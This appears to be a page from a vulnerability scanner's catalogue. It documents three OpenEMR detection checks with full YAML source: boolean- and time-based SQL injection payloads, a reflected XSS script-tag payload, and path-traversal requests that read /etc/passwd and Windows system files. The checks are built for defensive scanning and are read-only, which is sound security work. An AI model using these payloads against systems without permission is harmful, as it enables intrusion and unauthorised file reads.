OpenEMR — 3 vulnerability checks

noctis ships 3 vulnerability checks for OpenEMR, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

OpenEMR validateUser.php u parameter SQL Injection

CVECVE-2012-2115
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/openemr/CVE-2012-2115.yaml

OpenEMR 4.1.0 and earlier passes the u parameter of interface/login/validateUser.php, reachable without logging in, into a database query without escaping it.

The check first sends an injected user name whose condition is true for every row, built from a random marker, and expects the page to answer with the single digit it prints for an existing account, while the same injection with a false condition and a plain unknown user name must return an empty body, so a page that answers the same way to every request is not reported. When that finds nothing it measures a benign request and then two injected requests that make the database sleep for a random delay, and confirms that each reply is slowed by that delay. Only reads and SLEEP() are used; no data is changed or extracted. The site root, /openemr and /emr are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{base}}/interface/login/validateUser.php?u=noctis{{g.m}}
  3. HTTP(S) request GET {{base}}/interface/login/validateUser.php?u=x{{g.t}}
  4. HTTP(S) request GET {{base}}/interface/login/validateUser.php?u=x{{g.f}}
  5. Parses / computes the next value with a Rhai script
  6. Checks ib.found for ^BOOL$ → finding QoD 75: OpenEMR validateUser.php u SQL Injection (CVE-2012-2115)
  7. HTTP(S) request GET {{base}}/interface/login/validateUser.php?u=noctis{{g.m}}
  8. HTTP(S) request GET {{base}}/interface/login/validateUser.php?u=%27%2b(SELECT%201%20FROM%20(SELECT%20SLEE…
  9. HTTP(S) request GET {{base}}/interface/login/validateUser.php?u=%27%2b(SELECT%201%20FROM%20(SELECT%20SLEE…
  10. Parses / computes the next value with a Rhai script
  11. Checks tm.found for ^SLEEP$ → finding QoD 75: OpenEMR validateUser.php u SQL Injection (CVE-2012-2115)

References:

Feed source — tests/vulnerabilities/openemr/CVE-2012-2115.yaml
# OpenEMR 4.1.0 — interface/login/validateUser.php 'u' SQL injection (CVE-2012-2115)
#
# validateUser.php ($ignoreAuth = true, called by the login page's jQuery) does
#     $user = $_GET['u'];
#     sqlQuery("select password,length(password) as passlength from users
#               where username = '$user'");
# and prints "0" when the stored hash is 32 characters long, "1" when it is 40,
# and nothing otherwise. The parameter is concatenated unescaped.
#
# Detection (unauthenticated, read-only):
#   A. In-band boolean: u=x' OR '<m>'='<m> matches every user row, so the page
#      prints "0"/"1"; u=x' OR '<m>'='<m>z matches none and a plain unknown
#      user matches none — both must answer with an empty body. m is random.
#      A page that answers "0"/"1" to everything is not reported. QoD 75.
#   B. Only when A found nothing: time-based, u='+(SELECT 1 FROM (SELECT
#      SLEEP(n))A)+' for a long and a short random n, each reply delayed over
#      a benign baseline by n (the reference check's payload, with random
#      delays and a constant-stall guard). QoD 75.
# Neither request writes anything; SLEEP() returns 0.
#
# Source: OpenVAS/Greenbone NASL 2015/gb_openemr_sql_inj_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.805345, GPL-2.0-only) — same URL and sleep
#   payload (check B, with random rather than fixed delays and a baseline);
#   check A adds a faster, non-delaying proof. Sink code: openemr/openemr tag
#   v4_1_0, interface/login/validateUser.php.
uid: 8378bb93-bf1c-48f3-b1fd-878cdf3eda33
name: "OpenEMR validateUser.php u parameter SQL Injection (CVE-2012-2115)"
description: |
  OpenEMR 4.1.0 and earlier passes the u parameter of
  interface/login/validateUser.php, reachable without logging in, into a
  database query without escaping it.

  The check first sends an injected user name whose condition is true for
  every row, built from a random marker, and expects the page to answer with
  the single digit it prints for an existing account, while the same
  injection with a false condition and a plain unknown user name must return an
  empty body, so a page that answers the same way to every request is not
  reported. When that finds nothing it measures a benign request and then two
  injected requests that make the database sleep for a random delay,
  and confirms that each reply is slowed by that delay. Only reads and SLEEP()
  are used; no data is changed or extracted. The site root, /openemr and /emr
  are tried.
cves: [CVE-2012-2115]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [openemr, sqli, boolean-based, time-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-2115"
  - "https://github.com/openemr/openemr/blob/v4_1_0/interface/login/validateUser.php"

steps:
  - id: gen
    action: script
    code: |
      let m = rand_hex(6);
      let s1 = rand_int(2, 3);
      #{
        m: m,
        s1: s1,
        s2: s1 + 3,
        t: "%27%20OR%20%27" + m + "%27%3D%27" + m,
        f: "%27%20OR%20%27" + m + "%27%3D%27" + m + "z"
      }
    store_as: g

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: "", headers: {}, duration_ms: 0}
    loop:
      over: ["", "/openemr", "/emr"]
      var: base

  - id: init-ptrue
    action: set_var
    var_name: ptrue
    var_value: {status: 0, body: "", headers: {}, duration_ms: 0}

  - id: init-pfalse
    action: set_var
    var_name: pfalse
    var_value: {status: 0, body: "", headers: {}, duration_ms: 0}

  - id: init-base2
    action: set_var
    var_name: base2
    var_value: {status: 0, body: "", headers: {}, duration_ms: 0}

  - id: init-sl1
    action: set_var
    var_name: sl1
    var_value: {status: 0, body: "", headers: {}, duration_ms: 0}

  - id: init-sl2
    action: set_var
    var_name: sl2
    var_value: {status: 0, body: "", headers: {}, duration_ms: 0}

  - id: control
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{base}}/interface/login/validateUser.php?u=noctis{{g.m}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    store_as: ctl

  - id: inject-true
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{base}}/interface/login/validateUser.php?u=x{{g.t}}"
    condition: "ctl.status == 200"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    store_as: ptrue

  - id: inject-false
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{base}}/interface/login/validateUser.php?u=x{{g.f}}"
    condition: "ctl.status == 200 && ptrue.status == 200"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    store_as: pfalse

  - id: decide-inband
    action: script
    code: |
      let ok = ctl.status == 200 && ptrue.status == 200 && pfalse.status == 200
        && ereg("^[ \t\r\n]*[01][ \t\r\n]*$", ptrue.body)
        && ereg("^[ \t\r\n]*$", pfalse.body)
        && ereg("^[ \t\r\n]*$", ctl.body);
      #{ ok: ok, found: if ok { "BOOL" } else { "" } }
    store_as: ib

  - id: report-inband
    action: match
    source: ib.found
    pattern: "^BOOL$"
    condition: "ib.ok"
    on_match:
      finding:
        title: "OpenEMR validateUser.php u SQL Injection (CVE-2012-2115)"
        description: "The u parameter of {{base}}/interface/login/validateUser.php is injectable without authentication: a true injected condition made the page answer like an existing account, while a false condition and an unknown user returned an empty body."
        confidence_delta: 0.45
        qod: 75
        evidence: "Boolean SQLi in u of GET {{base}}/interface/login/validateUser.php: u=x' OR '{{g.m}}'='{{g.m}} -> status {{ptrue.status}}, answer {{ptrue.body}}; the false condition (u=x' OR '{{g.m}}'='{{g.m}}z) and an unknown user -> empty body"
        remediation: "Update OpenEMR to a release later than 4.1.0, which escapes the user name before it is used in the query."
      stop: true

  # Time-based fallback, only when the in-band proof did not fire.
  - id: baseline
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{base}}/interface/login/validateUser.php?u=noctis{{g.m}}"
    condition: "ctl.status == 200 && !ib.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    store_as: base2

  - id: sleep-long
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{base}}/interface/login/validateUser.php?u=%27%2b(SELECT%201%20FROM%20(SELECT%20SLEEP({{g.s2}}))A)%2b%27"
    condition: "ctl.status == 200 && !ib.ok && base2.status == 200"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    store_as: sl2

  - id: sleep-short
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{base}}/interface/login/validateUser.php?u=%27%2b(SELECT%201%20FROM%20(SELECT%20SLEEP({{g.s1}}))A)%2b%27"
    condition: "sl2.status > 0 && sl2.duration_ms >= base2.duration_ms + g.s2 * 1000 - 1000"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    store_as: sl1

  - id: check-timing
    action: script
    code: |
      let b = base2.duration_ms;
      let d1 = sl1.duration_ms - b;
      let d2 = sl2.duration_ms - b;
      let hit = !ib.ok && base2.status == 200 && b < 8000 && sl1.status > 0 && sl2.status > 0
        && d2 >= g.s2 * 1000 - 1000 && d2 <= g.s2 * 1000 + 2500
        && d1 >= g.s1 * 1000 - 1000 && d1 <= g.s1 * 1000 + 2500
        && (d2 - d1) >= 2000;
      #{ hit: hit, found: if hit { "SLEEP" } else { "" } }
    store_as: tm

  - id: report-timing
    action: match
    source: tm.found
    pattern: "^SLEEP$"
    condition: "tm.hit"
    on_match:
      finding:
        title: "OpenEMR validateUser.php u SQL Injection (CVE-2012-2115)"
        description: "The u parameter of {{base}}/interface/login/validateUser.php is injectable without authentication: injected SLEEP() calls delayed the reply by the requested time."
        confidence_delta: 0.45
        qod: 75
        evidence: "Time-based SQLi in u of GET {{base}}/interface/login/validateUser.php: SLEEP({{g.s1}}) {{sl1.duration_ms}} ms, SLEEP({{g.s2}}) {{sl2.duration_ms}} ms, baseline {{base2.duration_ms}} ms"
        remediation: "Update OpenEMR to a release later than 4.1.0, which escapes the user name before it is used in the query."
      stop: true

OpenEMR CKEditor _posteddata.php Reflected XSS

CVECVE-2018-1000020
Severitymedium · CVSS 6.1
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/openemr/CVE-2018-1000020.yaml

Tests OpenEMR 5.0.0 and older for the reflected cross-site scripting in the bundled CKEditor sample page library/custom_template/ckeditor/_samples/assets/_posteddata.php. The page prints the name of every posted form field without escaping it. The feed posts, without authentication, one form field whose name is a script element carrying a random marker, under the web root and the usual /openemr and /emr install paths. A vulnerable OpenEMR answers with that script element unescaped. A fixed OpenEMR either no longer ships the page or stops it before it prints any posted data, and a page that escapes the field name is not reported. The marker is random for each scan, so a page that always prints the same text is not reported. The request only displays the posted data and changes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST {{dir}}/library/custom_template/ckeditor/_samples/assets/_posteddata.php with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. Checks xss_proof for ^<script>alert\(/noctis[0-9a-f]{12}/\)</script>$ → finding QoD 75: OpenEMR CKEditor _posteddata.php Reflected XSS (CVE-2018-1000020)

References:

Feed source — tests/vulnerabilities/openemr/CVE-2018-1000020.yaml
# OpenEMR CKEditor _posteddata.php reflected XSS — CVE-2018-1000020
#
# OpenEMR 5.0.0 and older ship the CKEditor 3.x sample page
# library/custom_template/ckeditor/_samples/assets/_posteddata.php, which
# prints every POST field as a table row:
#   foreach ( $postArray as $sForm => $value ) {
#     $postedValue = htmlspecialchars( $value ) ;
#     ... <th style="vertical-align: top"><?php echo $sForm?></th>
# The value is escaped but the field NAME is echoed raw, so an unauthenticated
# POST whose field name is a <script> element is reflected as live markup.
# The 5.0.0 patch releases (rel-500 branch) keep the file but add exit()
# before any output, so it answers 200 with only the DOCTYPE line; 5.0.1 and
# later no longer ship the sample directory (404).
#
# Detection (benign, read-only): POST a form whose field name is
# <script>alert(/<marker>/)</script> (marker random per scan) and require the
# element back unescaped. QoD 75.
#
# Improvements over the source NASL:
#   - A random alphanumeric marker inside a regex literal instead of a
#     timestamp in quotes: no quote character for magic_quotes / WAF filters
#     to mangle, and a page printing a fixed string is never reported.
#   - The form field name is percent-encoded, so a server echoing the raw
#     request body back does not match; only a server that decoded the field
#     name and printed it unescaped does.
#   - The NASL needs its OpenEMR product detection for the install dir; this
#     feed tries "", /openemr and /emr directly.
#   - Only CVE-2018-1000020 (the XSS) is reported: CVE-2018-1000019 is an
#     authenticated command injection in fax_dispatch.php that this request
#     does not test.
#
# Ported from OpenVAS/Greenbone NVT 2018/openemr/gb_openemr_mult_vuln.nasl
# (GPL-2.0-only). Sink code: openemr/openemr tag v5_0_0,
# library/custom_template/ckeditor/_samples/assets/_posteddata.php.
uid: b80c226a-6b54-4922-83e6-f5d605c524df
name: "OpenEMR CKEditor _posteddata.php Reflected XSS (CVE-2018-1000020)"
description: |
  Tests OpenEMR 5.0.0 and older for the reflected cross-site scripting in the
  bundled CKEditor sample page
  library/custom_template/ckeditor/_samples/assets/_posteddata.php. The page
  prints the name of every posted form field without escaping it. The feed
  posts, without authentication, one form field whose name is a script
  element carrying a random marker, under the web root and the usual
  /openemr and /emr install paths. A vulnerable OpenEMR answers with that
  script element unescaped. A fixed OpenEMR either no longer ships the page
  or stops it before it prints any posted data, and a page that escapes the
  field name is not reported. The marker is random for
  each scan, so a page that always prints the same text is not reported. The
  request only displays the posted data and changes nothing on the server.
cves: [CVE-2018-1000020]
cvss: 6.1
severity: medium
category: xss
confidence_base: 0.30
tags: [openemr, ckeditor, xss, reflected-xss, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-1000020"
  - "https://github.com/openemr/openemr/blob/v5_0_0/library/custom_template/ckeditor/_samples/assets/_posteddata.php"
  # OpenVAS/Greenbone NASL 2018/openemr/gb_openemr_mult_vuln.nasl (GPL-2.0-only)

steps:
  # Random marker for this scan (letters and hex digits only).
  - id: marker
    action: script
    code: |
      "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
    store_as: tok

  # ── Loop group: every following step runs once per install dir. Each pass
  # resets the values it reads, so nothing is left over from the previous dir.
  - id: init-probe-r
    action: set_var
    var_name: probe_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/openemr", "/emr"]

  # Field name <script>alert(/<marker>/)</script>, percent-encoded.
  - id: probe
    action: http_request
    method: POST
    path: "{{dir}}/library/custom_template/ckeditor/_samples/assets/_posteddata.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E=SENDF"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: probe_r

  # The unescaped script element with this scan's marker — or "".
  - id: reflection
    action: script
    code: |
      let want = "<script>alert(/" + tok + "/)</script>";
      if probe_r.status == 200 && type_of(probe_r.body) == "string" && probe_r.body.contains(want) { want } else { "" }
    store_as: xss_proof

  - id: report
    action: match
    source: xss_proof
    pattern: "^<script>alert\\(/noctis[0-9a-f]{12}/\\)</script>$"
    on_match:
      finding:
        title: "OpenEMR CKEditor _posteddata.php Reflected XSS (CVE-2018-1000020)"
        description: "An unauthenticated POST to the CKEditor sample page _posteddata.php with a form field named <script>alert(/<marker>/)</script> was answered with that script element unescaped. An attacker can make a victim's browser run script in the OpenEMR origin through a crafted cross-site form."
        remediation: "Upgrade OpenEMR to 5.0.0 patch 2 / 5.0.1 or later, or remove the library/custom_template/ckeditor/_samples directory."
        confidence_delta: 0.55
        qod: 75
        evidence: "POST {{dir}}/library/custom_template/ckeditor/_samples/assets/_posteddata.php returned HTTP 200 with: {{xss_proof}}"
      stop: true

OpenEMR formname Local File Inclusion

CVECVE-2012-0991
Severitylow · CVSS 3.5
Categoryfile-read — File read
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/openemr/CVE-2012-0991.yaml

Tests OpenEMR 4.1.0 for the local file inclusion through the formname parameter. The feed first requests contrib/acog/print_form.php without logging in, with formname set to a series of "../" followed by etc/passwd and a NUL byte (%00), or windows/win.ini and boot.ini on Windows, under the web root and the usual /openemr and /emr install paths. In 4.1.0 that page fails to load OpenEMR's login check, so it is reachable without an account. When this finds nothing and the scan request carries credentials, the feed logs in the way the OpenEMR 4.1.0 login form does and sends the same reads through interface/patient_file/encounter/view_form.php. On PHP releases before 5.3.4 the NUL byte cuts off the suffix the page appends to formname, so the page includes the chosen file, and its content in the reply confirms the inclusion. A control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read; root's password field is redacted from the evidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/contrib/acog/print_form.php?formname=../../../../../../../../../../../../../.…
  3. Checks passwd_r.body for (?m)(?:^|>)root:[^:\r\n]*:0:[01]:([^:\r\n]*:[^:\r\n]*:[^:\r\n<]*)
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/contrib/acog/print_form.php?formname=../../../../../../../../../../../../../.…
  6. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  7. HTTP(S) request GET {{dir}}/contrib/acog/print_form.php?formname=../../../../../../../../../../../../../.…
  8. Checks bootini_r.body for (?i)\[boot loader\]
  9. Checks lin_proof for .
  10. Checks win_file for .
  11. HTTP(S) request POST {{dir}}/interface/main/main_screen.php?auth=login&site=default with a crafted body
  12. Parses / computes the next value with a Rhai script
  13. HTTP(S) request GET {{dir}}/interface/patient_file/encounter/view_form.php?formname=../../../../../../../…
  14. Checks passwd_r.body for (?m)(?:^|>)root:[^:\r\n]*:0:[01]:([^:\r\n]*:[^:\r\n]*:[^:\r\n<]*)
  15. … and 11 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/openemr/CVE-2012-0991.yaml
# OpenEMR 4.1.0 print_form.php / view_form.php formname local file inclusion — CVE-2012-0991
#
# OpenEMR 4.1.0 builds include paths from the formname request parameter with
# no check, in contrib/acog/print_form.php
#     include_once("../../../interface/globals.php");
#     include_once($incdir . "/forms/" . $_GET["formname"]."/printable.php");
# and in interface/patient_file/encounter/{view,load,trend}_form.php
#     include_once("../../globals.php");
#     include_once("$incdir/forms/" . $_GET["formname"] . "/view.php");
# "../" in formname climbs out of the forms directory, and on PHP < 5.3.4 a
# "%00" cuts the appended suffix off, so include_once() prints any file the
# web server can read. OpenEMR 4.1.1 added check_file_dir_name($_GET["formname"])
# (dies on any character outside [A-Za-z0-9_.-]).
#
# Authentication: the encounter pages load globals.php and library/auth.inc,
# so they need a logged-in session (hence NVD's "remote authenticated users").
# print_form.php, served where it ships (contrib/acog/), climbs one directory
# too many: "../../../interface/globals.php" is resolved from contrib/acog/ and
# points ABOVE the OpenEMR root. include_once() only warns, auth.inc never
# runs, $incdir is undefined, and the page includes "/forms/<formname>/..."
# for anyone — no login needed (verified with the real 4.1.0 file under PHP).
# In 4.1.1 the line became require_once(), so the page dies there instead.
#
# Detection (benign, read-only):
#   A. Unauthenticated: GET <dir>/contrib/acog/print_form.php?formname=
#      <18 x ../>etc/passwd%00 (then windows/win.ini, boot.ini) and match the
#      file CONTENT. QoD 75.
#   B. Only when A found nothing and the scan carries credentials: log in the
#      way the 4.1.0 login form does (POST interface/main/main_screen.php?
#      auth=login&site=default, authPass = SHA-1 hex of the password,
#      authProvider=Default; 200 + "OpenEMR" cookie = logged in), then the
#      same reads through interface/patient_file/encounter/view_form.php
#      (a page that only displays a form). QoD 75.
#   Control: the same page and session, absent random file — must come back
#   without any file signature (fail-closed).
#
# Improvements over the source NASL:
#   - Authenticated fallback through view_form.php, for installs where
#     contrib/ is not served (removed, or blocked by the web server).
#   - Absent-file control request (the name still contains etc/passwd,
#     win.ini and boot.ini), so a server or honeypot that returns the same
#     file on every request is not reported.
#   - root's password field from /etc/passwd is redacted before it can reach
#     the finding.
#   - Only CVE-2012-0991 is reported. CVE-2012-0992 (shell command injection
#     in interface/fax/fax_dispatch.php, authenticated) is listed with it in
#     the source check but is not tested by these requests.
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_openemr_51788.nasl (GPL-2.0-only).
# Sink code: openemr/openemr tags v4_1_0 / v4_1_1, contrib/acog/print_form.php,
# interface/patient_file/encounter/view_form.php, interface/globals.php,
# library/auth.inc, interface/login/login.php, interface/main/main_screen.php.
uid: 13c2dcbc-1213-4b0d-9bab-90db43e77f22
name: "OpenEMR formname Local File Inclusion (CVE-2012-0991)"
description: |
  Tests OpenEMR 4.1.0 for the local file inclusion through the formname
  parameter. The feed first requests contrib/acog/print_form.php without
  logging in, with formname set to a series of "../" followed by etc/passwd
  and a NUL byte (%00), or windows/win.ini and boot.ini on Windows, under the
  web root and the usual /openemr and /emr install paths. In 4.1.0 that page
  fails to load OpenEMR's login check, so it is reachable without an account.
  When this finds nothing and the scan request carries credentials, the feed
  logs in the way the OpenEMR 4.1.0 login form does and sends the same reads
  through interface/patient_file/encounter/view_form.php. On PHP releases
  before 5.3.4 the NUL byte cuts off the suffix the page appends to formname,
  so the page includes the chosen file, and its content in the reply confirms
  the inclusion. A control request for an absent random file must not return
  any of these files, so a server that serves the same content on every
  request is not reported. Only world-readable system files are read; root's
  password field is redacted from the evidence.
cves: [CVE-2012-0991]
cvss: 3.5
severity: low
category: file-read
confidence_base: 0.30
tags: [openemr, lfi, file-inclusion, file-read, path-traversal, null-byte, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-0991"
  - "https://github.com/openemr/openemr/blob/v4_1_0/contrib/acog/print_form.php"
  - "https://github.com/openemr/openemr/blob/v4_1_0/interface/patient_file/encounter/view_form.php"
  - "https://github.com/openemr/openemr/blob/v4_1_1/contrib/acog/print_form.php"
  - "http://www.securityfocus.com/bid/51788"
  # OpenVAS/Greenbone NASL 2012/gb_openemr_51788.nasl (GPL-2.0-only)

steps:
  # Login form body, built once (empty without credentials): authPass is the
  # SHA-1 hex of the password, as the 4.1.0 login page computes it in the
  # browser; the user name is percent-encoded (RFC 3986).
  - id: login-body
    action: script
    store_as: login_body
    code: |
      if !cred_enabled || !is_def_var("cred_username") || !is_def_var("cred_password") { return ""; }
      fn enc(s) {
        let out = "";
        for c in s.chars() {
          let ch = `${c}`;
          if ereg("^[A-Za-z0-9._~-]$", ch) { out += ch; }
          else {
            let h = toupper(hexstr(ch));
            let i = 0;
            while i < h.len() { out += "%" + h.sub_string(i, 2); i += 2; }
          }
        }
        out
      }
      "authUser=" + enc(cred_username) + "&clearPass=&languageChoice=1&authPass=" +
        tolower(sha1(cred_password)) + "&authNewPass=&authProvider=Default"

  # ── Loop group: every following step runs once per install dir. Each pass
  # resets the values it reads, so nothing is left over from the previous dir.
  - id: init-login
    action: set_var
    var_name: login
    var_value: {status: 0, body: "", headers: {}}
    loop:
      var: dir
      over: ["", "/openemr", "/emr"]

  - id: init-cookie
    action: set_var
    var_name: session_cookie
    var_value: ""

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-passwd-m
    action: set_var
    var_name: passwd_m
    var_value: {matched: false, captures: []}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-hit-page
    action: set_var
    var_name: hit_page
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── A. Unauthenticated: contrib/acog/print_form.php ──────────────────────
  - id: read-passwd-a
    action: http_request
    method: GET
    path: "{{dir}}/contrib/acog/print_form.php?formname=../../../../../../../../../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'true'
    store_as: passwd_r

  # No on_match: the raw body (root's password field) must not become evidence.
  - id: passwd-content-a
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)root:[^:\\r\\n]*:0:[01]:([^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n<]*)"
    condition: 'true'
    store_as: passwd_m

  - id: passwd-redact-a
    action: script
    condition: 'true'
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 0 {
        "root:<redacted>:0:0:" + passwd_m.captures[0]
      } else { "" }
    store_as: lin_proof

  - id: read-winini-a
    action: http_request
    method: GET
    path: "{{dir}}/contrib/acog/print_form.php?formname=../../../../../../../../../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'true && lin_proof == "" && passwd_r.status == 200'
    store_as: winini_r

  - id: winini-content-a
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'true && lin_proof == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini-a
    action: http_request
    method: GET
    path: "{{dir}}/contrib/acog/print_form.php?formname=../../../../../../../../../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'true && lin_proof == "" && win_file == "" && passwd_r.status == 200'
    store_as: bootini_r

  - id: bootini-content-a
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'true && lin_proof == "" && win_file == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "boot.ini"

  - id: hit-a
    action: match
    source: lin_proof
    pattern: "."
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        hit_page: "{{dir}}/contrib/acog/print_form.php"

  - id: hit-a-win
    action: match
    source: win_file
    pattern: "."
    condition: 'win_file != ""'
    on_match:
      set_vars:
        hit_page: "{{dir}}/contrib/acog/print_form.php"

  # ── B. Authenticated fallback: view_form.php (only with credentials) ─────
  # Log in (site=default sets the session's site id). A good login answers
  # 200 (main frameset); a bad one redirects to the login screen.
  - id: login
    action: http_request
    method: POST
    path: "{{dir}}/interface/main/main_screen.php?auth=login&site=default"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'login_body != "" && hit_page == ""'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{login_body}}"
    store_as: login

  - id: cookie
    action: script
    store_as: session_cookie
    condition: 'login_body != "" && hit_page == ""'
    code: |
      if login.status != 200 || !("set-cookie" in login.headers) { return ""; }
      let sc = login.headers["set-cookie"];
      if type_of(sc) != "string" { return ""; }
      let m = eregmatch("OpenEMR=[^;\\s]+", sc);
      if m.len() > 0 { m[0] } else { "" }

  - id: read-passwd-b
    action: http_request
    method: GET
    path: "{{dir}}/interface/patient_file/encounter/view_form.php?formname=../../../../../../../../../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'session_cookie != "" && hit_page == ""'
    headers:
      Cookie: "{{session_cookie}}"
    store_as: passwd_r

  # No on_match: the raw body (root's password field) must not become evidence.
  - id: passwd-content-b
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)root:[^:\\r\\n]*:0:[01]:([^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n<]*)"
    condition: 'session_cookie != "" && hit_page == ""'
    store_as: passwd_m

  - id: passwd-redact-b
    action: script
    condition: 'session_cookie != "" && hit_page == ""'
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 0 {
        "root:<redacted>:0:0:" + passwd_m.captures[0]
      } else { "" }
    store_as: lin_proof

  - id: read-winini-b
    action: http_request
    method: GET
    path: "{{dir}}/interface/patient_file/encounter/view_form.php?formname=../../../../../../../../../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'session_cookie != "" && hit_page == "" && lin_proof == "" && passwd_r.status == 200'
    headers:
      Cookie: "{{session_cookie}}"
    store_as: winini_r

  - id: winini-content-b
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'session_cookie != "" && hit_page == "" && lin_proof == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini-b
    action: http_request
    method: GET
    path: "{{dir}}/interface/patient_file/encounter/view_form.php?formname=../../../../../../../../../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'session_cookie != "" && hit_page == "" && lin_proof == "" && win_file == "" && passwd_r.status == 200'
    headers:
      Cookie: "{{session_cookie}}"
    store_as: bootini_r

  - id: bootini-content-b
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'session_cookie != "" && hit_page == "" && lin_proof == "" && win_file == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "boot.ini"

  - id: hit-b
    action: match
    source: lin_proof
    pattern: "."
    condition: 'session_cookie != "" && hit_page == "" && lin_proof != ""'
    on_match:
      set_vars:
        hit_page: "{{dir}}/interface/patient_file/encounter/view_form.php"

  - id: hit-b-win
    action: match
    source: win_file
    pattern: "."
    condition: 'session_cookie != "" && hit_page == "" && win_file != ""'
    on_match:
      set_vars:
        hit_page: "{{dir}}/interface/patient_file/encounter/view_form.php"

  # ── Control: same page and session, absent random file — must NOT carry a
  # file. The absent name still contains etc/passwd, win.ini and boot.ini, so
  # a honeypot that keys a fake file on those substrings answers it too.
  - id: control
    action: http_request
    method: GET
    path: "{{hit_page}}?formname=../../../../../../../../../../../../../../../../../../etc/passwd.win.ini.boot.ini.noctis-absent-{{oob_token}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_page != ""'
    headers:
      Cookie: "{{session_cookie}}"
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)root:[^:\\r\\n]*:0:[01]:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
